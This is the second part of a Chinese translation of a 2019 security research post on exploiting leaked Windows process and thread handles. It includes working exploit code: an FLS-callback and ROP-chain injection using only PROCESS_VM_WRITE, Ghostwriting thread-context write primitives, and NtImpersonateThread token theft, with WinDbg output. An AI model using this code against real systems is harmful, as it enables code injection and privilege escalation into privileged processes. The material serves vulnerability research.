深入剖析线程与进程句柄泄露漏洞(下)

fanyeee 漏洞 2019年8月30日发布
Favorite收藏

导语:在本文中,我们将为读者深入剖析线程与进程句柄泄露漏洞。

(接上文)

PROCESS_VM_*

这涵盖了VM访问权限的三种类型:WRITE/READ/OPERATION。前两个权限应该是不言自明的,第三个权限允许操作虚拟地址空间本身,例如修改页面保护(VirtualProtectEx)或分配内存(VirtualAllocEx)。本文不打算介绍这三种权限的排列组合情况,但我认为`PROCESS_VM_WRITE`是必要的前置条件。虽然`PROCESS_VM_OPERATION`可以令远程进程崩溃,不过也会引发其他缺陷,同时,它既不是通用的,也不是优雅的方法。`PROCESS_VM_READ`同上。

事实证明,`PROCESS_VM_WRITE`本身就是一个挑战,我还没有找到一个通用的解决方案。乍一看,Hexacorn [12]介绍的一套粉碎式注入策略似乎是完美的:它们只要求远程进程使用窗口、剪贴板注册等。既便如此,这些要求也不一定能得到满足。对我们来说不幸的是,其中许多都不允许跨会话访问或扩展完整性级别。我们虽然可以对远程进程执行写操作,但仍然需要借助其他方法来控制执行流程。

除了无法修改页面权限外,我们还无法读取或映射/分配内存。但是,还是很多方法可以从远程进程泄漏内存而不直接与它进行交互的。

例如,通过`NtQuerySystemInformation`,我们可以枚举远程进程内的所有线程,无论其IL如何。这样,我们就可以获得一个`SYSTEM_EXTENDED_THREAD_INFORMATION`对象的列表,其中包含TEB的地址等。此外,我们还可以通过`NtQueryInformationProcess`获取远程进程PEB地址,不过,必须具有`PROCESS_QUERY_INFORMATION`权限,这一要求会给我们带来很大的麻烦。为了解决这个问题,可以将`PROCESS_QUERY_INFORMATION`附加到`PROCESS_VM_WRITE`上。

实际上,我采取的方法有点复杂,不过,它还是比较可靠的。如果您已经阅读过我之前关于纤程本地存储(FLS)方面的文章[13],就会了解这种方法。如果您还没有读过这篇文章的话,不妨花点时间读一下。

简而言之,我们可以滥用光纤和FLS来覆盖“…在纤程删除、线程退出以及释放FLS索引时”执行的回调函数。进程的主线程会不断设置纤程,因此,总是会有一个回调函数可用于覆盖(msvcrt!_freefls)。这些回调函数通常存储在PEB(FlsCallback)和TEB(FlsData)中的纤程本地存储中。通过粉碎FlsCallback,我们就能够在执行纤程操作时控制系统的执行流程。

但是,由于只具有对进程的写访问权限,所以这个过程有点费劲。例如,由于我们无法分配内存,所以,我们利用一些已知空间来存放payload。另外,PEB/TEB中的FlsCallback和FlsData变量都是指针,所以,我们也无法读取它们。

实际上,隐藏payload还是非常容易做到的。这是因为,我们已经可以泄漏PEB/TEB地址,所以,我们实际上已经得到了两个非常强大的原语。在查看了这两个结构之后,我发现线程本地存储(TLS)正好为我们提供了足够的空间来存储ROP Gadget和一个瘦身版的payload。而TLS是嵌入在结构本身之中的,因此,我们可以直接通过偏移量找到TEB地址。如果您不熟悉TLS的话,那么我们强烈建议先参阅Skywing撰写的一篇文章[14]。

不过,获得对回调函数的控制确实有点棘手,这是因为指向`_FLS_CALLBACK_INFO`结构的指针是存储在PEB(FlsCallback)中的,并且该结构是不透明的。由于我们实际上无法读取这个指针,因此,我们无法直接覆盖该指针。

我采取的方法,是在PEB中覆盖FlsCallback指针本身,实质上就是在TLS中创建我们自己伪造的`_FLS_CALLBACK_INFO`结构。这是一个非常简单的结构,实际上只有一个重要值:回调函数指针。

此外,根据FLS的文章,我们还需要控制ECX/RCX。这样,我们就可以通过跳板来执行我们的ROP payload了。不过,这要求更新`TEB-> FlsData`,但是,由于这是一个指针,所以我们很难做到。然而,就像`FlsCallback`一样,我们能够覆盖这个值并创建自己的数据结构——这倒不是什么难事。TLS缓冲区的布局如下所示: 

//
// 0  ] 00000000 00000000 [STACK PIVOT] 00000000
// 16 ] 00000000 00000000 [ECX VALUE] [NEW STACK PTR]
// 32 ] 41414141 41414141 41414141 41414141
//
```
 
幸运的是,恰好在`kernelbase!SwitchToFiberContext`(或Windows 7上的` kernel32!SwitchToFiber`)中有一个完美的跳板:
 
 
```
7603c415 8ba1d8000000    mov     esp,dword ptr [ecx+0D8h]
7603c41b c20400          ret     4

综合以上几点,我们最终得到:

eax=7603c415 ebx=7ffdf000 ecx=7ffded54 edx=00280bc9 esi=00000001 edi=7ffdee28
eip=7603c415 esp=0019fd6c ebp=0019fd84 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
kernel32!SwitchToFiber+0x115:
7603c415 8ba1d8000000    mov     esp,dword ptr [ecx+0D8h]
ds:0023:7ffdee2c=7ffdee30
0:000> p
eax=7603c415 ebx=7ffdf000 ecx=7ffded54 edx=00280bc9 esi=00000001 edi=7ffdee28
eip=7603c41b esp=7ffdee30 ebp=0019fd84 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
kernel32!SwitchToFiber+0x11b:
7603c41b c20400          ret     4
0:000> dd esp l3
7ffdee30  41414141 41414141 41414141

现在,我们已经能够控制EIP和堆栈跳板了。实际上,只需调用`LoadLibraryA`即可从任意位置加载磁盘上的DLL。这一招很好用,也很可靠,甚至在进程退出时也会执行并挂起,具体取决于你在DLL中的操作。下面给出实现所有这些目标的最终代码:

_NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll"), "NtWriteVirtualMemory");
 
LPVOID lpBuf = malloc(13*sizeof(SIZE_T));
HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, dwTargetPid);
if (hProcess == NULL)
    return;
 
SIZE_T LoadLibA = (SIZE_T)LoadLibraryA;
SIZE_T RemoteTeb = GetRemoteTeb(hProcess), TlsAddr = 0;
TlsAddr = RemoteTeb + 0xe10;
 
SIZE_T RemotePeb = GetRemotePeb(hProcess);
SIZE_T PivotGadget = 0x7603c415;
SIZE_T StackAddress = (TlsAddr + 28) - 0xd8;
SIZE_T RtlExitThread = (SIZE_T)GetProcAddress(GetModuleHandleA("ntdll"), "RtlExitUserThread");
SIZE_T LoadLibParam = (SIZE_T)TlsAddr + 48;
 
//
// construct our TlsSlots payload:
// 0  ] 00000000 00000000 [STACK PIVOT] 00000000
// 16 ] 00000000 00000000 [ECX VALUE] [NEW STACK PTR]
// 32 ] [LOADLIB ADDR] 41414141 [RET ADDR] [LOADLIB ARG PTR]
// 48 ] 41414141
//
 
memset(lpBuf, 0x0, 16);
*((DWORD*)lpBuf + 2) = PivotGadget;
*((DWORD*)lpBuf+ 4) = 0;
*((DWORD*)lpBuf + 5) = 0;
*((DWORD*)lpBuf + 6) = StackAddress;
 
StackAddress = TlsAddr + 32;
*((DWORD*)lpBuf + 7) = StackAddress;
*((DWORD*)lpBuf + 8) = LoadLibA;
*((DWORD*)lpBuf + 9) = 0x41414141; // junk
*((DWORD*)lpBuf + 10) = RtlExitThread;
*((DWORD*)lpBuf + 11) = (SIZE_T)TlsAddr + 48;
*((DWORD*)lpBuf + 12) = 0x41414141; // DLL name (AAAA.dll)
 
NtWriteVirtualMemory(hProcess, (PVOID)TlsAddr, lpBuf, (13 * sizeof(SIZE_T)), NULL);
 
// update FlsCallback in PEB and FlsData in TEB
StackAddress = TlsAddr + 12;
NtWriteVirtualMemory(hProcess, (LPVOID)(RemoteTeb + 0xfb4), (PVOID)&StackAddress, sizeof(SIZE_T), NULL);
NtWriteVirtualMemory(hProcess, (LPVOID)(RemotePeb + 0x20c), (PVOID)&TlsAddr, sizeof(SIZE_T), NULL);

如果一切正常,在执行回调函数时,你应该看到会从磁盘加载`AAAA.dll`的尝试(只需关闭进程)。需要说明的是,我们之所以在这里使用`NtWriteVirtualMemory`,是因为`WriteProcessMemory`需要用到我们可能不具备的`PROCESS_VM_OPERATION`权限。

这个访问权限的另一种替代品可能是“PROCESS_VM_WRITE|PROCESS_VM_READ”。这样的话,我们就可以看到地址空间,但仍然无法将内存分配给或映射到远程进程。使用上述策略时,我们可以摆脱`PROCESS_QUERY_INFORMATION`的要求,只需从TEB中读取PEB地址即可。

最后,我们还可以考虑`PROCESS_VM_WRITE|PROCESS_VM_READ|PROCESS_VM_OPERATION`权限。一旦获得了`PROCESS_VM_OPERATION`权限,我们的活动余地就大了,因为这样就可以分配内存并更改页面权限。这使我们可以更轻松地使用上述策略,还可以执行内联和IAT hook。

线程的访问权限

与进程句柄一样,我们这里也可以立即忽略某些访问权限:

SYNCHRONIZE
THREAD_QUERY_INFORMATION
THREAD_GET_CONTEXT
THREAD_QUERY_LIMITED_INFORMATION
THREAD_SUSPEND_RESUME
THREAD_TERMINATE

之后,将留下下列权限:

THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_IMPERSONATE
THREAD_SET_CONTEXT
THREAD_SET_INFORMATION
THREAD_SET_LIMITED_INFORMATION
THREAD_SET_THREAD_TOKEN

THREAD_ALL_ACCESS

其实,我们可以通过这些权限做很多事情,包括以下线程访问权限部分中描述的所有内容。我个人觉得`THREAD_DIRECT_IMPERSONATION`策略是最简单的。

此外,我们还有另一个选择,虽然它显得更加神秘,但同样也是可行的。请注意,线程访问权限无法为我们提供VM读/写权限,因此,我们无法对线程执行“写入”操作,因为这没有多大意义。然而,我们还拥有大量的API,它们能够授予我们下列权限:`SetThreadContext` [4]和`GetThreadContext` [5]。大约十年前,出现过一种非常“低调”的代码注入技术,名为Ghostwriting [6]的。根据该技术发明者的说法,这是一种代码注入策略,并且不需要使用典型的win32 API调用,如WriteProcessMemory和NtMapViewOfSection,甚至无需借助OpenProcess。 

简而言之,该技术可以通过一组特定的汇编代码gadget来利用`SetThreadContext`/`GetThreadContext`函数,从而将payload以dword为单位写入线程堆栈。一旦写入这些payload,就会通过`NtProtectVirtualMemoryAddress`将其权限标记为RWX,并将代码的控制流重定向到相应的payload。

为了找到完成写入操作的gadget,他们会在NTDLL中寻找下列代码:

MOV [REG1], REG2
RET

然后,他们定位一个`JMP $`,或者跳到这里,它将作为一个自动锁和无限循环运行。一旦我们找到了这两个gadget,我们就会挂起该线程。然后,更新RIP,使其指向MOV gadget,并将REG1设置为调整后的RSP,使返回地址变成“JMP $”,并将REG2设置为jump gadget。

void WriteQword(CONTEXT context, HANDLE hThread, size_t WriteWhat, size_t WriteWhere)
{
    SetContextRegister(&context, g_rside, WriteWhat);
    SetContextRegister(&context, g_lside, WriteWhere);
 
    context.Rsp = StackBase;
    context.Rip = MovAddr;
 
    WaitForThreadAutoLock(hThread, &context, JmpAddr);
}

其中,`SetContextRegister`只是将我们的gadget中的REG1和REG2赋给适当的寄存器。设置好后,我们将设置堆栈基地址,并将RIP更新为指向我们的gadget。当第一次执行该操作时,我们会将`JMP $` gadget写入堆栈。

之后,代码就会用所谓的线程自动锁来控制执行流程:

void WaitForThreadAutoLock(HANDLE Thread, CONTEXT* PThreadContext,HWND ThreadsWindow,DWORD AutoLockTargetEIP)
{
    SetThreadContext(Thread,PThreadContext);
 
    do
    {
        ResumeThread(Thread);
        Sleep(30);
        SuspendThread(Thread);
        GetThreadContext(Thread,PThreadContext);
    }
    while(PThreadContext->Eip!=AutoLockTargetEIP);
}

它实际上只是一个waiter,允许线程在检查是否已达到“sink”gadget之前每次运行一点点。

一旦我们的执行命中跳转,我们就获得了write原语。之后,我们只需让RIP重新指向MOV gadget,更新RSP,并将REG1和REG2设置为我们想要的任何值即可。

我已经将该技术的核心函数移植到了x64平台,以展示其可行性。我只是执行`LoadLibraryA`来加载任意路径中的任意DLL,而不是使用它来执行整个payload。相关代码可从Github上下载[11]。

此外,在参加Blackhat 2019大会时,我观看了SafeBreach Labs小组的进程注入演讲。他们发布了一个支持x64平台的GhostWriting [10]技术的代码注入工具,感兴趣的读者不妨试用一下。

THREAD_DIRECT_IMPERSONATION

与`thread_impersonate`的不同之处在于,它允许模拟线程令牌(token),而不仅仅是模拟本身。正如James Forshaw[0][7]所指出的,利用该漏洞只是一个使用`ntimpersonatethread `[8]API的问题而已。使用这个函数,我们可以创建一个完全可控的线程,并能模拟特权线程:

hNewThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpRtl, 0, CREATE_SUSPENDED, &dwTid);
NtImpersonateThread(hNewThread, hThread, &sqos);

这样的话,`hNewThread`将使用SYSTEM令牌来运行,允许我们在特权模拟上下文中执行我们需要的任何操作。

THREAD_IMPERSONATE

不幸的是,我还没有找到能够利用这个漏洞的稳定而通用的方法。因为我们既无法查询远程线程,也无法控制其执行流程,只能管理其模拟状态。

不过,我们可以利用它来强制特权线程使用`NtImpersonateThread`调用来模拟我们,这可能会释放出应用程序中的其他逻辑漏洞。例如,如果服务是在用户上下文(通常具有SYSTEM权限)下创建共享资源(例如文件),则我们可以获得该文件的所有权。如果多个特权线程都是通过它来获取某些信息(例如配置),则可能导致代码执行问题。

THREAD_SET_CONTEXT

获得该权限后,我们不仅可以访问`SetThreadContext`,同时还能使用`QueueUserAPC`。通过它,我们可以获得一个带有警告提示的`CreateRemoteThread`原语。对于由线程处理的APC,它需要进入可警告状态。当执行一组特定的win32函数时,就会发生这种情况,因此,线程完全有可能始终无法进入可警告状态。

如果我们使用的是一个“不配合”的线程,这时`SetThreadContext`就派上用场了。利用它,我们可以通过`NtTestAlert`函数强制线程进入可警告状态。当然,由于无法调用`GetThreadContext`,因此,成功利用这个漏洞后,我们很可能会失去对线程的控制。

结合`THREAD_GET_CONTEXT`时,我们可以利用这个权限“仿造”类似于上面`THREAD_ALL_ACCESS`部分讨论的Ghostwriting代码注入技术。

THREAD_SET_INFORMATION

需要在线程上设置各种ThreadInformationClass [9]值时,我们可以借助于`NtSetInformationThread`。仔细研究了所有这些值后,我仍然没有找到可以直接影响远程线程的方法。其中,有些值虽然很有趣,但是并不常见(如`ThreadSetTlsArrayAddress`、`ThreadAttachContainer`等),而有些则还没有实现,或者需要`SeDebugPrivilege`等权限。

此外,我们至今尚未找到可以利用它们的方法。

THREAD_SET_LIMITED_INFORMATION

这允许调用方设置`THREAD_INFORMATION_CLASS`值的子集,即:`ThreadPriority`、`ThreadPriorityBoost`、`ThreadAffinityMask`、`ThreadSelectedCpuSets`和`ThreadNameInformation`。这些都无法让我们接近可利用的原语。

THREAD_SET_THREAD_TOKEN

与`THREAD_IMPERSONATE `类似,我尚未找到滥用该权限的直接且通用的方法。虽然可以设置线程的令牌或修改一些字段(例如通过`SetTokenInformation`),但这并没有给我们带来太大的帮助。

小结

我对线程权限看起来如此平淡无奇感到有点失望。事实证明,几乎一半的线程权限是无法单独加以利用的,即使结合其他权限,仍然如此。如上所述,要将泄漏的线程句柄转化为可利用的东西,必须具有以下三种权限之一:

THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT

如果缺乏这些权限的话,要想成功利用它们的话,必须对目标具有深入的了解,并且,还要具备相当的创造力。

同样,进程可直接利用的特定权限子集为: 

PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE

除此之外,要想得手,还需要发挥自己的创造力。

参考文献

[0]<https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html>\

[1]<https://googleprojectzero.blogspot.com/2018/05/bypassing-mitigations-by-attacking-jit.html>\

[2]<https://d4stiny.github.io/Local-Privilege-Escalation-on-most-Dell-computers/>\

[3]<https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights>\

[4]<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext>\

[5]<https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext>\

[6]<http://blog.txipinet.com/2007/04/05/69-a-paradox-writing-to-another-process-without-openning-it-nor-actually-writing-to-it/>\

[7]<https://tyranidslair.blogspot.com/2017/08/the-art-of-becoming-trustedinstaller.html>\

[8]<https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FThread%2FNtImpersonateThread.html>\

[9]<https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/master/NtApiDotNet/NtThreadNative.cs#L51>\

[10]<https://github.com/SafeBreach-Labs/pinjectra>\

[11]<https://gist.github.com/hatRiot/aa77f007601be75684b95fe7ba978079>\

[12]<http://www.hexacorn.com/blog/category/code-injection/>\

[13]<http://hatriot.github.io/blog/2019/08/12/code-execution-via-fiber-local-storage>\

[14]<http://www.nynaeve.net/?p=180>\

[15]<https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpsapi.h#L98>

本文翻译自:http://hatriot.github.io/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/如若转载,请注明原文地址: https://www.4hou.com/vulnerable/19926.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论